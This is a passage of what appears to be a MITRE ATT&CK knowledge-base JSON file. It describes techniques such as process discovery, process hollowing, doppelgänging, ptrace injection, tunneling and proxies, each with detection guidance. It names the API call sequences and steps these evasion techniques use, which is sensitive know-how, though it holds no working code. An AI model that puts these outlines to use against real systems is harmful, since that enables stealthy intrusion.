            "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via /proc.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1057",
                    "external_id": "T1057"
                },
                {
                    "external_id": "CAPEC-573",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/573.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-03-26T18:05:53.130Z",
            "created": "2017-05-31T21:30:48.728Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_system_requirements": [
                "Administrator, SYSTEM may provide better process ownership details"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76",
            "name": "Process Doppelg\u00e4nging",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1186",
                    "url": "https://attack.mitre.org/techniques/T1186"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
                    "source_name": "Microsoft TxF"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                    "source_name": "Microsoft Basic TxF Concepts"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
                    "source_name": "Microsoft Where to use TxF"
                },
                {
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf",
                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017"
                },
                {
                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx",
                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-14T17:23:25.111Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.013",
                    "url": "https://attack.mitre.org/techniques/T1055/013"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
                    "source_name": "Microsoft TxF"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                    "source_name": "Microsoft Basic TxF Concepts"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
                    "source_name": "Microsoft Where to use TxF"
                },
                {
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf",
                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017"
                },
                {
                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx",
                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Process Doppelg\u00e4nging",
            "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ",
            "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-02-09T15:43:48.848Z",
            "created": "2020-01-14T17:19:50.978Z",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control"
            ],
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "File: File Metadata"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_detection": "Monitor and analyze calls to <code>CreateTransaction</code>, <code>CreateFileTransacted</code>, <code>RollbackTransaction</code>, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to <code>NtCreateProcessEx</code> and <code>NtCreateThreadEx</code> as well as API calls used to modify memory within another process, such as <code>WriteProcessMemory</code>. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
            "name": "Process Hollowing",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1093",
                    "url": "https://attack.mitre.org/techniques/T1093"
                },
                {
                    "url": "http://www.autosectools.com/process-hollowing.pdf",
                    "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
                    "source_name": "Leitch Hollowing"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-11-10T18:29:30.437Z",
            "created": "2017-05-31T21:31:09.815Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.012",
                    "url": "https://attack.mitre.org/techniques/T1055/012"
                },
                {
                    "url": "http://www.autosectools.com/process-hollowing.pdf",
                    "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
                    "source_name": "Leitch Hollowing"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Process Hollowing",
            "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.  \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ",
            "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-11-10T18:29:31.031Z",
            "created": "2020-01-14T17:21:54.470Z",
            "x_mitre_defense_bypassed": [
                "Application control",
                "Anti-virus"
            ],
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Access"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2017-05-31T21:30:47.843Z",
            "modified": "2021-02-09T15:43:50.029Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055",
                    "url": "https://attack.mitre.org/techniques/T1055"
                },
                {
                    "external_id": "CAPEC-640",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/640.html"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
                    "source_name": "ArtOfMemoryForensics"
                },
                {
                    "url": "https://www.gnu.org/software/acct/",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "source_name": "GNU Acct"
                },
                {
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "source_name": "RHEL auditd"
                },
                {
                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
                    "source_name": "Chokepoint preload rootkits"
                },
                {
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "source_name": "Microsoft Sysmon v6 May 2017"
                }
            ],
            "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ",
            "name": "Process Injection",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1",
            "x_mitre_contributors": [
                "Anastasios Pingios",
                "Christiaan Beek, @ChristiaanBeek",
                "Ryan Becwar"
            ],
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Process: OS API Execution",
                "Process: Process Access",
                "File: File Modification",
                "File: File Metadata"
            ],
            "x_mitre_defense_bypassed": [
                "Application control",
                "Anti-virus"
            ],
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1001.003",
                    "url": "https://attack.mitre.org/techniques/T1001/003"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Protocol Impersonation",
            "description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.  \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ",
            "id": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-15T00:40:27.503Z",
            "created": "2020-03-15T00:40:27.503Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1572",
                    "url": "https://attack.mitre.org/techniques/T1572"
                },
                {
                    "source_name": "SSH Tunneling",
                    "url": "https://www.ssh.com/ssh/tunneling",
                    "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020."
                },
                {
                    "source_name": "BleepingComp Godlua JUL19",
                    "url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/",
                    "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020."
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Protocol Tunneling",
            "description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ",
            "id": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-27T17:15:35.372Z",
            "created": "2020-03-15T16:03:39.082Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "created": "2017-05-31T21:31:08.479Z",
            "modified": "2020-10-21T17:54:28.531Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Proxy",
            "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1090",
                    "url": "https://attack.mitre.org/techniques/T1090"
                },
                {
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "source_name": "Trend Micro APT Attack Tools"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_contributors": [
                "Brian Prange",
                "Heather Linn",
                "Walker Johnson"
            ],
            "x_mitre_version": "3.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.008",
                    "url": "https://attack.mitre.org/techniques/T1055/008"
                },
                {
                    "source_name": "PTRACE man",
                    "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html",
                    "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020."
                },
                {
                    "source_name": "Medium Ptrace JUL 2018",
                    "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be",
                    "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020."
                },
                {
                    "source_name": "BH Linux Inject",
                    "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf",
                    "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020."
                },
                {
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
                    "source_name": "ArtOfMemoryForensics"
                },
                {
                    "url": "https://www.gnu.org/software/acct/",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "source_name": "GNU Acct"
                },
                {
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "source_name": "RHEL auditd"
                },
                {
                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
                    "source_name": "Chokepoint preload rootkits"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Ptrace System Calls",
            "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
